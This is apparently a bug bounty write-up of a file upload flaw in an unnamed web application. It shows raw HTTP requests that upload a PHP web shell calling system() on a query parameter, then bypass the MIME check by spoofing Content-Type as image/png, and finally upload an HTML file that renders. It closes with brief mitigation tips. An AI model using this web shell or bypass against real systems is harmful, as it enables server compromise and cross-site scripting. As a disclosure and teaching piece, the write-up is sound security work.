Overview
I was testing an application which is used for X purpose. It has a dashboard and you can upload images which get’s stored in the same server.
Lately I have been researching about file upload vulnerabilites while I tried the same bug on the Target’s from Hackerone usually they store the file over the s3 bucket or they remove the extension of the file so I was bit confused about How to exploit the web appilication using file upload vulnerability, As a result I started learning over portswigger and completed the file upload module.
Back to the target
As I logged into the web application there was a dashboard and it has a general setting option.

I have recently updated the profile picture so this time I want to upload a malicious file such as php code.
The request looks something like
PUT /api/profile/profile-picture HTTP/2Host: ***Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJxMGUzdlNBSTVUIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MTY4OTE2ODN9.49xYj3tfO5-N_Pw0xlortlp9-WlY0L3xiOBw9RKzPrkUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://***/dashboard/generalContent-Type: multipart/form-data; boundary=---------------------------25156492452924238624110306810Content-Length: 274Origin: https://***Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailers
-----------------------------25156492452924238624110306810Content-Disposition: form-data; name="profile"; filename="fileUpload.php"Content-Type: application/x-php
<?php echo system($_GET["command"]); ?>
-----------------------------25156492452924238624110306810--Notice the Content-Type: application/x-php ?
Now let’s check the response down which I received after sending this request.
HTTP/2 500 Internal Server ErrorDate: Tue, 28 May 2024 15:24:12 GMTContent-Type: application/json; charset=utf-8Content-Length: 44X-Powered-By: ExpressEtag: W/"2c-BUK5kJEdgVBEC0ZxSqwoL+oPm/Y"Cf-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DaNl%2FKe7pd5G4X57ksNbkdCUiboT%2FmLC%2Fu4KI%2FNo1MuI1Cj9wVuKEX6hr1qv6robRYutAGpk%2BdqMO%2BPqjPHQj1L%2FfxrAG27x95GOly%2BUwURUHH%2BY%2F4Dxhlv8KuQ01D4V%2FQpXSg%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Alt-Svc: h3=":443"; ma=86400Vary: Accept-EncodingServer: cloudflareCf-Ray: 88af400ed8a54dce-SIN
{"message":"MimeType or size doesn't match"}Updating MimeType is like putting a mask
Notice the message ? It sayes MimeType or size doesn’t match
As I got this message as the response I update the Content-Type:
Previously Content-Type: application/x-php
Currently Content-Type: image/png

I sent the request and go this beautiful message {“message”:“Profile picture updated”}
After getting this response I checked the dashboard again and it seems like something worng has happend.

I checked the html code using inspect tool provided by firefox and decoded the url

I visited the decoded url and found out that the server was not running apache server and my php file didn’t run instead it got downloaded.

Changes are important
Now as the server is not serving php code I decided to go with basic exploitation such as .html I followed the same process as above but this time I uploaded .html file.
The request looks like
PUT /api/profile/profile-picture HTTP/2Host: ***Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJxMGUzdlNBSTVUIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MTY4OTE2ODN9.49xYj3tfO5-N_Pw0xlortlp9-WlY0L3xiOBw9RKzPrkUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://***/dashboard/generalContent-Type: multipart/form-data; boundary=---------------------------25156492452924238624110306810Content-Length: 266Origin: https://***Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailers
-----------------------------25156492452924238624110306810Content-Disposition: form-data; name="profile"; filename="fileUpload.html"Content-Type: image/png
<h1>0xtheM7 was here</h1>
-----------------------------25156492452924238624110306810--Exploit
I sent the request and checked the html code with inspect tool decoded the url and boom .html file was loading without any issue.

And we are able to run our code over the server which opens up the door to run different malicious scripts and eventually get the REC or diiferent bug such as XSS.
How to make file upload secure
- Check the extension of the file
- Check the diamension of the file
- Don’t upload to the server without checking validating it
- Do not run externally uploaded file on the run